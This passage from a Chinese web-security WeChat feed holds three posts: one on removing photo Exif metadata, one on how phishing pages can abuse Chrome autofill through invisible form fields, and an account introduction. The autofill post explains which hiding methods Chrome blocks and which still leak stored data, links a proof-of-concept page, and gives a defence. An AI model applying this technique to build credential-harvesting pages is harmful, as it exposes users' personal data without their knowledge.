src="https://wechat2rss.xlab.app/img-proxy/?k=86f5306d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayzia0nxoRibnkxFTfWmankjldryyG5KRaaM9AleKPYTU9pnx3ZOwITDZa3or9ZSskW3y5iaetL1AHSOw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><br/></p><section class="xhr" style="white-space: normal; width: 0px; height: 0px; border-top: 7px solid transparent; border-left: 12px solid rgb(78, 130, 247); border-bottom: 7px solid transparent; display: inline-block;"></section><section class="xhr" style="margin-left: -7px; white-space: normal; width: 0px; height: 0px; border-top: 7px solid transparent; border-left: 12px solid rgb(78, 130, 247); border-bottom: 7px solid transparent; display: inline-block; opacity: 0.7;"></section><section class="xhr" style="margin-left: -7px; white-space: normal; width: 0px; height: 0px; border-top: 7px solid transparent; border-left: 12px solid rgb(78, 130, 247); border-bottom: 7px solid transparent; display: inline-block; opacity: 0.5;"></section><p><strong><span style="font-size: 16px;">Exif怎么看?</span></strong></p><p><br/></p><p><span style="font-size: 16px;">可以使用一些专用软件，比如JPEGsnoop、MagicEXIF，也可以使用Photoshop的文件简介功能查看~</span></p><p><span style="font-size: 16px;">上传到网络上的图片还可以使用exifjs在浏览器中打印出来。</span></p><p><br/></p><p><span style="font-size: 16px;">测试地址：<a href="http://works.enjoyfe.com/blogDemo/exifdemo/exif.html" target="_blank">http://works.enjoyfe.com/blogDemo/exifdemo/exif.html</a> (或者点击阅读原文)<br/></span></p><p><span style="font-size: 16px;">下图是一个例子，上传了一张原图，可以打出Exif里的所有信息。</span></p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="2538" data-ratio="0.3798266351457841" src="https://wechat2rss.xlab.app/img-proxy/?k=69869486&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Bayzia0nxoRibnkxFTfWmankjldvSna5SfMRN86SclLnr6g1zOd6CX3X27fdFTLNlSMRXCldKEGb0zYkw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 16px;">截图中可以看到，Exif中存储了我们的相机型号、GPS信息，拍摄时间等信息。如果在不知情的情况下上传到网上，很有可能被利用。</span></p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." style="
width:100%;
margin-top:1em;" donone="shifuMouseDownPayStyle(&#39;shifu_t_048&#39;)"><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
"></section><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
opacity: 0.7;
margin-left: -7px;
"></section><section class="xhr" style="
width: 0;
height: 0;
border-top:7px solid transparent;
border-left: 12px solid #4e82f7;
border-bottom: 7px solid transparent;
display: inline-block;
opacity: 0.5;
margin-left: -7px;
"></section><p style="
display: inline-block;
margin-left: 5px;
"><strong><span style="font-size: 16px;">利用canvas去除Exif信息</span></strong></p></section><p><br/></p><p><span style="font-size: 16px;">函数：canvas.toDataURL(type, encoderOptions);<br/>用来返回代表画布图像数据的字符串，也就是图片的base64，可以使用 type 参数其类型，默认为 PNG 格式。<br/><span style="font-size: 14px;"><br/></span></span></p><p><span style="font-size: 16px;">如果type传入的是 image/jpeg或者 image/webp,那么就可以设置encoderOptions了，这个参数是图片质量，取值范围为 0 到 1 。</span></p><p><span style="font-size: 16px;"><br/></span></p><p><span style="font-size: 16px;">在测试网址中，通过点击下载图片，将会使用这种方式下载一张没有exif信息的图片。</span></p><p><br/></p><p>当图片过大的时候，下载会出现失败的情况，我们可以在canvas上右键保存，同样可以去掉图片的Exif信息。</p><p><br/></p><p><span style="font-size: 16px;">当然，利用一些专业的软件也可以将exif信息去掉，如使用Photoshop的存储为web所用格式。</span></p><p><br/></p><p><span style="font-size: 16px;">现在大家非常喜欢在一些网站上传照片，分享风景，晒自拍，传图的时候可千万要注意呀~~</span></p><p><br/></p><p><span style="font-size: 16px;">过年大家一定朋友之间发送了不少原图吧~~</span></p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="468" data-ratio="0.9957264957264957" src="https://wechat2rss.xlab.app/img-proxy/?k=6a643ceb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayzia0nxoRibnkxFTfWmankjldaTaoG0RS6UWvrGf2BNq46CgaXGglRdJL9Ow2tZut2a8DHdbcQibJIWg%2F0%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;"><span style="color: rgb(35, 25, 22); font-family: sans-serif; font-size: 16px;"><br/></span></p><section label="Copyright Reserved by PLAYHUDONG." style="padding: 16px; margin-top: 1em; margin-bottom: 1em; font-size: 16px; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;" class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)"><p class="wihudong"><span style="font-size: 16px;">注：本文原创，转载请通过本公众号联系作者。</span></p></section><p style="white-space: normal;"><span style="color: rgb(35, 25, 22); font-family: sans-serif; font-size: 14px;"><br/></span></p><p style="white-space: normal;"><span style="font-size: 16px;">                                                                    </span></p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; width: 20em; margin-right: auto; margin-left: auto;" donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)"><section class="xhr" style="width:100%;
background:#F0F0F0;
overflow:hidden;
padding:0.8em 0em"><section style="width: 80%; margin-right: auto; margin-left: auto;"><section style="width:100%;
text-align:center;
border-bottom:1px solid #ddd;
font-size:1.2em;
padding-bottom:0.5em;"><p><span style="font-size: 16px;">安全&amp;前端</span></p></section><section style="width:100%;
text-align:center;
padding-top:0.5em;"><section style="width:40%;
display:inline-block;
vertical-align: top;
margin-right:1em;"><img data-w="258" style="width:100%;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f928c05c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayzia0nxoRibnkxFTfWmankjldR3HbN2Oibc1MYBojmqaDWSNUEDlve1AzvjHiahQzlq0FGLe05DKZxkQQ%2F0%3Fwx_fmt%3Djpeg"/></section><section style="width: 40%; display: inline-block; vertical-align: top; padding: 1em 0em 3em; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9Bayzia0nxoRibnkxFTfWmankjld0KDA7QgicBa6Jb6CQ51OKEZp8hFNFicI0pBe0b1kaN9nJocnQMH5YILQ/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p><span style="font-size: 16px;">长按二维码<br/>关注我们</span></p></section></section></section></section></section><p><br/></p><p class="shifubrush"><br/></p><p><br/></p>



<p><a href="http://works.enjoyfe.com/blogDemo/exifdemo/exif.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e44e5cbb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483696%26idx%3D1%26sn%3D8a45db2cd769da4b6bc538397b3ecadd%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 03 Feb 2017 22:13:00 +0800</pubDate>
    </item>
    <item>
      <title>钓鱼网站可利用浏览器“自动填充”功能获取用户信息</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483686&amp;idx=1&amp;sn=cc49bc86e0f273cf9a3d631eed5e6122</link>
      <description>Chrome浏览器“自动填充”功能安全性研究</description>
      <content:encoded><![CDATA[<p>
<span>王松_Striker</span> <span>2017-01-17 19:26</span> <span style="display: inline-block;"></span>
</p>

<p>Chrome浏览器“自动填充”功能安全性研究</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=df97c689&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWgdzwDyyzbGFicCmnjTxMHQBNKNxMLRWA5eKtHcPFbdQGAt1gGve7c6Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section class="wihudong" style="
color:#fab928;
font-size:16px;
margin-top: 1.5em;"><p><span style="font-size: 18px;">01/浏览器自动填充功能</span></p></section><section style="font-size: 14px;
line-height:1.5em;
margin-top: 1.5em;"><p><span style="font-size: 16px;">昨天看到了一篇关于Chrome自动填充安全相关的文章。</span></p><p><br/></p><p><span style="font-size: 16px;">文中提到：“自动填充是个非常方便的浏览器特性，不过该特性在 Chrome 上会存在一定的信息泄露的风险。Chrome 最近才修复了某个久负盛名漏洞。简单而言，黑客能够利用自动填充窃取你并不想提交给该网站的信息”。<br/></span></p><p><br/></p><p><span style="font-size: 16px;">效果如下图：</span></p></section><p><br/></p><p><img data-type="gif" data-w="770" data-ratio="0.8688311688311688" src="https://wechat2rss.xlab.app/img-proxy/?k=456df0fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsW75NaVbENKa0LUOITCIX3X4z5pyzsrtTNRQfEf8dG7Yic17pKv9gCglw%2F0%3Fwx_fmt%3Dgif"/></p><p><br/></p><p><span style="font-size: 16px;">并提供了一段js来演示漏洞：</span></p><p><span style="font-size: 16px;"><br/></span></p><section><p><img data-s="300,640" data-type="png" data-w="682" data-ratio="0.8020527859237536" src="https://wechat2rss.xlab.app/img-proxy/?k=29f6058c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsW1vAybnUEEPNvgoBTD5j06BSkYvDLtuuMfbGlsUnAsuIXy0WenVMSTg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p></section><p><span style="font-size: 16px;">仅测试这段js，发现并不能复现此漏洞，但是这个思路引起了我的思考。<br/></span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img data-s="300,640" data-type="jpeg" data-w="200" data-ratio="1.28" src="https://wechat2rss.xlab.app/img-proxy/?k=d9e7ff64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsW2NDghofpysAX9lTQ1pX9gmgKLFIlZEHS0dw0n1xcZ6DsOkmVp2ibxgw%2F0%3Fwx_fmt%3Djpeg"/><br/></p><section class="wihudong" style="
color:#fab928;
font-size:16px;
 margin-top: 1.5em;"><p><span style="font-size: 18px;">02/ 浏览器新特性--autocomplete</span></p><p><br/></p></section><p><span style="font-size: 16px;">再次研究发现，html中要实现浏览器中的表单自动填充主要依靠于autocomplete属性。</span></p><p><br/></p><p><span style="font-size: 16px;">起初autocomplete属性只支持on或off。比如下面代码：</span></p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="582" data-ratio="0.2268041237113402" src="https://wechat2rss.xlab.app/img-proxy/?k=bf44a5f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWY6Xj3HveMTOpqymQGNlkKdIlbFR7Muibl6BILooYqDD9WWvhddeia0Jw%2F0%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p><span style="font-size: 16px;">上面代码开启了整个表单的autocomplete却对email关闭了autocomplete，我们在点击非email的其他字段即可打开自动填充功能：</span></p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="522" style="" data-ratio="0.4827586206896552" src="https://wechat2rss.xlab.app/img-proxy/?k=e760ed8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWV3OyNoL2ZO7PbrNg5mwibEaRZIJyVqfibo3zPrP2v1R0icb8eomlUSZFg%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="font-size: 16px;">但在email中不能展开自动填充功能：</span></p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="552" style="" data-ratio="0.44565217391304346" src="https://wechat2rss.xlab.app/img-proxy/?k=262c4d06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsW2SgwOibCey9udYic0n5HuKnYadMMZ9ibNSFh7oRvaHicB4syKpOCtmwuqw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="font-size: 16px;">后来HTML5标准加入了对autocomplete的支持，并且给autocomplete加入了更多的标示符，以保证让浏览器准确的知道哪些信息对应着表单里的哪些字段。</span></p><p><br/><span style="font-size: 16px;">比如如下代码：</span></p><p><span style="font-size: 16px;"><br/></span></p><p><img data-s="300,640" data-type="png" data-w="978" data-ratio="0.3486707566462168" src="https://wechat2rss.xlab.app/img-proxy/?k=8a44a1fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWAdsRxlXNicrJum12MJsowausR6JE5Ec02b6FfBJxay7qCibQlOJXyEFw%2F0%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p><span style="font-size: 16px;">在autocomplete属性中写入了语义化的字符，比如name、street-address等。</span></p><p><span style="font-size: 16px;">通过这些标识，浏览器即可准确的把相应的信息填入到相应的表单中。</span></p><p><span style="font-size: 16px;"><br/></span></p><p><img data-s="300,640" data-type="jpeg" data-w="612" data-ratio="0.8496732026143791" src="https://wechat2rss.xlab.app/img-proxy/?k=66a7f55b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWTUjeuMsgQxRgJQek816CBKBialO76KZqrboTnm80MBkSjd5icd17pldg%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p><span style="color: rgb(250, 185, 40); font-size: 16px;"><br/></span></p><p><span style="color: rgb(250, 185, 40); font-size: 18px;">03/钓鱼网站可能会这么用</span></p><p><span style="font-size: 16px;"><br/></span></p><p><span style="font-size: 16px;">通过如上demo我们可以发现，当我们选择自动填充以后，chrome不仅会把当前表单字段填充到input中，也会把其他表单字段填充到input中。</span></p><p><span style="font-size: 16px;"><br/></span></p><p><span style="font-size: 16px;">那么如果写一些type为hidden的input标签，并且加上autocomplete属性，chrome是否会自动补上带有hidden属性的input标签的信息呢。</span></p><p><br/></p><p><span style="font-size: 16px;">我们使用如下代码：</span></p><p><span style="font-size: 16px;"><br/></span></p><p><img data-s="300,640" data-type="png" data-w="945" data-ratio="0.491005291005291" src="https://wechat2rss.xlab.app/img-proxy/?k=c447edd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWV27GQpLHs5SEWIEn0V526BlZ3e8dRb3HFT2BoSzKFEL3HQdqq0iaoUA%2F0%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p><span style="font-size: 16px;">将第一个姓名字段设置为hidden，然后使用自动填充，并且提交表单，查看请求包：</span></p><p><span style="font-size: 16px;"><br/></span></p><p><img data-s="300,640" data-type="jpeg" data-w="982" data-ratio="0.6028513238289206" src="https://wechat2rss.xlab.app/img-proxy/?k=da8d7489&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWAXDiaumqRLbVEia7Wxich2ibx8wTjHZ28blg1AufFxYQzUsibRQXFAZPSUQ%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p><br/></p><p><span style="font-size: 16px;">发现type属性为hidden的表单并没有获取到，但其他非hidden的信息都拿到了。</span></p><p><br/></p><p><span style="font-size: 16px;">既然type设置成hidden浏览器不会发送数据，隐藏浏览器元素还有很多方法，比如：</span></p><p><span style="font-size: 16px;">在表单外层放一个div,让整个div,display:none。</span></p><p><span style="font-size: 16px;"><br/></span></p><p><img data-s="300,640" data-type="png" data-w="969" data-ratio="0.49948400412796695" src="https://wechat2rss.xlab.app/img-proxy/?k=05d9b25d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWnKuoIQbmeOLdHTeO44g6XvfyL30YbDJuNib2IVEjHwXYiabZuibriayjwA%2F0%3Fwx_fmt%3Dpng"/><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="594" data-ratio="0.49158249158249157" src="https://wechat2rss.xlab.app/img-proxy/?k=c8af8feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsW4Nj7FI6ajTHEemoGWgu0towmOM7mXpibeGoRXP6hXUN2p6oiaugicFsEg%2F0%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 16px;">然而也是不行的：</span></p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="946" data-ratio="0.5560253699788583" src="https://wechat2rss.xlab.app/img-proxy/?k=cbee27e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWgTK3RPrDYIoEUPz0m0gvKHDYB5FkBQDCcKXKSRcbmajsWlLwDjj5ow%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p><br/></p><p><span style="font-size: 16px;">看来chrome已经在这里做了足够防护。</span></p><p><span style="font-size: 16px;">其实在文章最初提供的js代码也是使用这样的方式来进行攻击的。</span></p><p><span style="font-size: 14px;">现在已经被修复了。那么还有别的办法吗？<br/></span></p><p><img data-s="300,640" data-type="jpeg" data-w="500" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=40a7aad0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWbI4YHhVPpU8X7TkkOianMLYHDkgj5jRdToPoDIawo2tfOMU8Uic6o4Pw%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p><br/></p><p><span style="color: rgb(250, 185, 40); font-size: 18px;">04/可利用的方式</span></p><p><br/></p><p><span style="font-size: 16px;">让浏览器认识且没有做防护，并且让用户看不见这个表单的方法有很多，比如如下方法：</span></p><p><span style="font-size: 16px;"><br/></span></p><p><img data-s="300,640" data-type="png" data-w="985" data-ratio="0.4619289340101523" src="https://wechat2rss.xlab.app/img-proxy/?k=2fc3b2bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWEScZH2fnX4H8sH8XKWwxZ0aMQA4BCoAbmNd6rESF3MKH6d9ESCo20w%2F0%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p><span style="font-size: 16px;">效果如下：</span></p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="820" style="" data-ratio="0.44146341463414634" src="https://wechat2rss.xlab.app/img-proxy/?k=02f565b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWA51CCWOib43tVNAkXcibzChmRoEuv1YrsNsS7VQljmTFM7NSBNWYNzbw%2F0%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 16px;">bingo！！</span></p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="970" style="" data-ratio="0.5278350515463918" src="https://wechat2rss.xlab.app/img-proxy/?k=fb15f200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWxAw9XpI3Bd48KyHELdWRGrJtrqAeIg1SuwYhfBL2q7B1Lk1urDPUNw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="font-size: 16px;">这种方式浏览器并没有防护，其实让用户看不到表单的方式还有很多，还比如设置成透明等等……</span></p><p><span style="font-size: 16px;"><br/></span></p><p><span style="font-size: 16px;">由此想到，如果钓鱼网站利用了这个功能，在用户不知情的情况下，拿到用户浏览器存储的其他信息，会造成很可怕的后果。</span></p><p><span style="font-size: 16px;"><br/></span></p><p><span style="font-size: 16px;"><img data-s="300,640" data-type="png" data-w="182" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=197b0cb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsW832pH348KmXFjMtmibMWvuQWU0AjVG1Pqib15w9ic04ib3JLACXtyzyuJg%2F0%3Fwx_fmt%3Dpng"/><br/></span></p><p><span style="font-size: 16px;"><br/></span></p><p><span style="font-size: 16px;">在线测试地址：</span><span style="font-size: 16px;"><a href="http://www.hackersb.cn/poc/autofill/" target="_blank">http://www.hackersb.cn/poc/autofill/</a></span></p><p><br/></p><p><span style="color: rgb(250, 185, 40); font-size: 18px;">05/如何防护</span></p><p><br/></p><p><span style="font-size: 14px;">既然这个功能是浏览器的功能，在浏览器还未完全将不可见的表单字段设置为不可填充之前，我们只好通过设置，来避免使用这个功能。<br/></span></p><p><span style="font-size: 16px;"><br/></span></p><p><span style="font-size: 16px;">通过打开chrome浏览器的设置--高级设置，然后点掉下图中的复选框，关闭自动填充功能。</span></p><p><span style="font-size: 16px;"><br/></span></p><p><span style="font-size: 16px;"><img data-s="300,640" data-type="png" data-w="714" data-ratio="0.5700280112044818" src="https://wechat2rss.xlab.app/img-proxy/?k=158d9b1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxQtZaNVy5AIfqq3FVk8HsWf3ibIMu8ibicv62L0wtBbBYHQdUjyQKnlkAt7TYugOJicv7bbHR9nDzEyg%2F0%3Fwx_fmt%3Dpng"/><br/></span></p><p><br/></p><p><br/></p><p><span style="color: rgb(250, 185, 40); font-size: 18px;">06/参考资料</span></p><p><br/></p><ol style=" box-sizing: border-box; padding-left: 2em; margin-bottom: 16px ; ; ; ; ; ; " class=" list-paddingleft-2"><li><p><span style="font-size: 16px;">HTML标准 - 表单自动填充</span></p></li><li><p><span style="font-size: 16px;">SegmentFault</span></p></li></ol><p><br/></p><p><span style="  ; ; ; "></span></p><p><br/></p><section label="Copyright Reserved by PLAYHUDONG." style="padding: 16px; margin-top: 1em; margin-bottom: 1em; font-size: 16px; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;" class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)"><p class="wihudong"><span style="font-size: 16px;">注：本文原创，转载请通过本公众号联系作者。</span></p></section><p><br/></p><p class="shifubrush"><br/></p>



<p><a href="2247483686">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c68a385c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483686%26idx%3D1%26sn%3Dcc49bc86e0f273cf9a3d631eed5e6122%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Jan 2017 19:26:00 +0800</pubDate>
    </item>
    <item>
      <title>我想和你世界第一好</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483659&amp;idx=1&amp;sn=0c4aa19a86dc30efd642542f03ae8800</link>
      <description>两只web 🐶开了个公众号~</description>
      <content:encoded><![CDATA[<p>
<span>王松 &amp;amp; Jess</span> <span>2017-01-14 14:00</span> <span style="display: inline-block;"></span>
</p>

<p>两只web 🐶开了个公众号~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c3577e0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayz1pfU7b4DunH2aMyX2vRmyROtU1DHCL0PbNf9QM3rOAvHORJpL9QUI87KcibnM6MSqdicWIv19iaDsA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; margin-top: 5px; padding: 10px; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;" donone="shifuMouseDownOther(&#39;shifu_o_007&#39;)"><p><br/></p><section class="border" style="margin-top: -15px; margin-right: auto; margin-left: 100px; float: none; width: 0px; height: 0px; border-left: 4px solid transparent; border-right: 22px solid transparent; border-bottom: 24px solid rgb(247, 125, 0);"> </section><section class="color" style="margin-top: -1px; border-width: 3px; border-style: solid; border-color: rgb(247, 125, 0); min-height: 40px; visibility: visible; height: 40px; line-height: 37px; border-radius: 10px; text-align: center; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><span style="font-size: 14px;">点击上方<span style="color: #607fa6;">“<span style=" color: rgb(96, 127, 166) ; ; ; ; ; ; ; ;  ; ">Web安全与前端</span>”</span>关注我们</span></section><p><br/></p></section><p class="shifubrush">王松_Striker</p><p><br/></p><section label="Copyright © 2015 playhudong All Rights Reserved." style="border-width: initial; border-color: initial; border-style: none; margin: 1em auto; width: 20em; color: rgb(35, 25, 22); overflow: hidden;" donone="shifuMouseDownPayStyleAutokol(&#39;shifu_auto_008&#39;)"><section style="width:20em;
height:auto;
overflow:hidden;"><section class="wihudong" style="border-left: 0.2em solid rgb(230, 0, 19); padding: 0em 0.5em; margin-top: 0.5em; margin-bottom: 0.5em; font-size: 1em; line-height: 1.5em;"><p>（对外）<br/>360补天安全专家组，安全盒子创始人  </p><p><br/>（对内）<br/>一个对web安全如痴如醉的少年， <br/>没事爱研究技术，<br/>对着电脑做奇怪的事情~      <br/>偶尔拿个CVE，打个CTF~<br/>靠挖洞勉强为生，<br/>因为工资全部用来交房租~<br/>刚刚成年，他那么小，大家请欺负他~</p></section></section></section><p><br/></p><p style="white-space: normal;"><span style="color: rgb(35, 25, 22); font-family: sans-serif; font-size: 16px;"><br/>Jess_喵</span><br/></p><p><br/></p><section label="Copyright © 2015 playhudong All Rights Reserved." style="border-width: initial; border-color: initial; border-style: none; margin: 1em auto; width: 20em; color: rgb(35, 25, 22); overflow: hidden;" donone="shifuMouseDownPayStyleAutokol(&#39;shifu_auto_008&#39;)"><section style="width:20em;
height:auto;
overflow:hidden;"><section class="wihudong" style="border-left: 0.2em solid rgb(230, 0, 19); padding: 0em 0.5em; margin-top: 0.5em; margin-bottom: 0.5em; font-size: 1em; line-height: 1.5em;"><p>（对外）<br/> 360手游前端工程师<br/>（对内）<br/>一个对小动物们如痴如醉的怪姐姐，<br/>没事爱逗逗猫，欺负欺负狗，<br/>它们都睡着了的时候，<br/>就开始研究前端技术了~<br/>偶尔做个小工具，<br/>偶尔研究个小插件，</p><p>被迫掌握前端新技术，</p><p>因为上面那位要用到，<br/>最爱做奇怪的css3动画效果和</p><p>canvas小游戏，                                      </p><p>从来不务正业~ </p></section></section></section><p><br/></p><p class="shifubrush" style="text-align: center;"><br/></p><p class="shifubrush" style="text-align: center;">然后</p><p class="shifubrush" style="text-align: center;">I have a 王松_Striker，I have a <span style="color: rgb(35, 25, 22); font-family: sans-serif; font-size: 16px;">Jess_喵</span></p><p class="shifubrush"><span style="color: rgb(35, 25, 22); font-family: sans-serif; font-size: 16px;"><br/></span></p><p class="shifubrush" style="text-align: center;"><span style="color: rgb(35, 25, 22); font-family: sans-serif; font-size: 24px;"><img data-s="300,640" data-type="jpeg" data-w="612" data-ratio="0.6241830065359477" src="https://wechat2rss.xlab.app/img-proxy/?k=6b7ec679&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayz1pfU7b4DunH2aMyX2vRmyqwL3Wv8ia6iboqOo8oa99cdiaTbSPMibzxloBHDKpD8bliavbXH4tL5aFkw%2F0%3Fwx_fmt%3Djpeg"/><br/></span></p><p class="shifubrush" style="text-align: center;"><span style="color: rgb(35, 25, 22); font-family: sans-serif; font-size: 24px;"><br/></span></p><p class="shifubrush" style="text-align: center;"><span style="color:#231916;font-family:sans-serif"><span style="font-size: 24px;">带来这个分享技术的公众号~</span></span></p><p class="shifubrush" style="text-align: left;"><span style="color:#231916;font-family:sans-serif"><br/></span></p><p class="shifubrush" style="text-align: left;"><span style="color:#231916;font-family:sans-serif">Web安全与前端从今天开始，每周都会推送web安全以及前端的知识。</span></p><p class="shifubrush" style="text-align: left;"><span style="color:#231916;font-family:sans-serif">都是我们在研究和开发中的总结和经验，</span></p><p class="shifubrush" style="text-align: left;"><span style="color:#231916;font-family:sans-serif">希望大家能够和我们一起，</span></p><p class="shifubrush" style="text-align: left;"><span style="color:#231916;font-family:sans-serif">在新的一年里，</span></p><p class="shifubrush" style="text-align: left;"><span style="color:#231916;font-family:sans-serif"></span></p><p class="shifubrush" style="white-space: normal;"><span style="color:#231916;font-family:sans-serif">一起讨论，</span></p><p class="shifubrush" style="text-align: left;"><span 